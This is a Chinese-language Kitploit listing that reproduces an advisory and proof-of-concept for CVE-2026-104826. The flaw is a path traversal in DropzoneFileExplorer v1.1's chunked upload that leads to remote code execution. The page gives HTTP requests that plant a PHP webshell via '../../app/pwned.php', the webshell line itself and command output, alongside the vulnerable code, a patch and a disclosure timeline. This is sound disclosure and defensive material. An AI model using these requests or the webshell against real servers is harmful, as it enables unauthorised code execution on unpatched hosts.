Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-104826 — 针对 CVE-2026-104826 的概念验证漏洞利用链,该漏洞是 DropzoneFileExplorer 分块上传处理程序中的路径遍历漏洞,可写入 PHP webshell 以实现远程代码执行。 | Kitploit
工具/GitHubGitHub/kiwknr/cve-2026-104826
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试远程访问工具
GitHubkiwknr/cve-2026-104826

CVE-2026-104826

针对 CVE-2026-104826 的概念验证漏洞利用链,该漏洞是 DropzoneFileExplorer 分块上传处理程序中的路径遍历漏洞,可写入 PHP webshell 以实现远程代码执行。

查看仓库
11天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-104826 - DropzoneFileExplorer 中从路径遍历到 RCE

可续传(分块)上传处理程序信任客户端提供的 fileName,一路传到 fopen()。传入 ../../,你就能写到允许文件夹之外、存储根目录之外,直至 Web 根目录。该应用会执行 PHP,所以你植入的文件就会运行。

项目:KeepCoolCH/DropzoneFileExplorer

CVECVE-2026-104826
公告GHSA-7626-89vx-5rpc
类别CWE-22(路径遍历)-> CWE-434 -> RCE
认证默认需要认证,若 AUTH_ENABLE=false 则无需认证
CVSS v4.08.5 高危(AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H)
受影响版本v1.1(在提交 68858e0 处测试)
修复版本v1.2
致谢Kanarat Kaeothong (Axiom0x)

问题出在哪里

有两个函数很关键。uploadInit 从请求体中取出 fileName,除了一个 trim() 之外不做任何处理就保留下来(inc/functions.php,约 L2080):

$fileName = trim((string)($body['fileName'] ?? 'file'));   // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json

uploadFinalize 随后将其读回并组装输出路径(inc/functions.php,L2192-2216):

$destDir     = norm_rel((string)($meta['destDir'] ?? ''));       // normalized
$relPath     = norm_rel((string)($meta['relativePath'] ?? ''));  // normalized
$fileName    = (string)($meta['fileName'] ?? 'file');            // NOT normalized

$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs);                        // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
    $finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
    ensure_inside_allowed_roots($finalDirAbs);                    // dir is checked
}

$finalName = $fileName;
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;     // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b');                                 // arbitrary write

ensure_inside_allowed_roots() 本身没有问题。它调用 realpath() 并确保路径保持在用户的根目录之下。问题在于它接收到的参数。$destBaseAbs 和 $finalDirAbs 都经过了验证,但 $finalAbs——真正包含攻击者 fileName 的那个——从未被验证。fopen() 拿到的是原始的 .../shared/../../app/shell.php 字符串,操作系统会替你折叠掉 ..。

值得注意的是:此代码库中所有其他写入路径要么将组合后的路径通过 ensure_inside_allowed_roots() 处理,要么将文件名用 basename() 包裹。而这一处两者都没做。看起来像是一个被重构过、最终检查被遗漏的地方。

复现

原版 v1.1,默认配置(AUTH_ENABLE=true)。操作者是普通用户 lowpriv,其唯一文件夹是 shared。

  1. 以 lowpriv 登录(从登录页面获取 CSRF token,然后 POST auth_action=login)。

  2. 确认沙箱确实有效。直接上传到别人的文件夹会被拒绝:

    POST /index.php?action=uploadInit
    {"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
    -> {"ok":false,"error":"Access denied"}
    
  3. 使用允许的文件夹,但污染 fileName:

    POST /index.php?action=uploadInit
    {"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
    -> {"ok":true,"uploadId":"..."}
    
  4. 将 payload 作为单个分块发送:

    POST /index.php?action=uploadChunk   (multipart)
    uploadId=<id>&index=0&total=1  + file field "chunk" = <?php system($_GET['c']); ?>
    -> {"ok":true}
    
  5. 完成上传:

    POST /index.php?action=uploadFinalize
    {"uploadId":"<id>","policy":"overwrite"}
    -> {"ok":true,"path":"app/pwned.php"}
    

    响应报告的是 app/pwned.php。应用本身在告诉你,它写到了 shared 之外、存储根目录之外。

  6. 运行它:

    GET /pwned.php?c=id
    -> uid=... (command output)
    

以下是我针对本地实例的一次运行结果:

GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...

GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64

完整攻击链(登录、CSRF、污染、分块、完成、执行)见 poc/exploit.py。

影响

任何被允许上传的人都可以在 PHP 进程可写的任意位置写入文件,无论每用户文件夹规则如何规定。Web 根目录中的 .php 文件就是以 Web 用户身份执行远程代码。当 AUTH_ENABLE=false 时,没有登录步骤,直接就是未认证 RCE。

修复

在 uploadFinalize 中,打开文件前将 fileName 裁剪为纯文件名,并重新检查组合后的路径:

$finalName = basename($fileName);            // kill any path component
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs);      // and verify the real target

仅 basename() 就能阻止路径遍历。加上 ensure_inside_allowed_roots($finalAbs) 检查则是双保险版本,也与代码其余部分保护写入的方式一致。rename 策略分支(约 L2210)中重新计算 $finalName 的地方也需要同样处理。维护者已在 v1.2 中修复。

时间线

  • 2026-07-26 发现该漏洞,针对本地 v1.1 构建并运行了完整攻击链
  • 2026-07-27 私下报告(GitHub Security + 邮件通知维护者)
  • 2026-07-27 开启私有 GHSA(GHSA-7626-89vx-5rpc)
  • 2026-07-28 维护者确认并发布 v1.2,公告发布
  • 2026-10-02 GitHub CNA 分配 CVE-2026-104826

参考

  • 公告:https://github.com/KeepCoolCH/DropzoneFileExplorer/security/advisories/GHSA-7626-89vx-5rpc
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-104826

协调披露,在公开之前已修复。PoC 特意针对本地测试实例。不要将其指向你不拥有的任何目标。

下载工具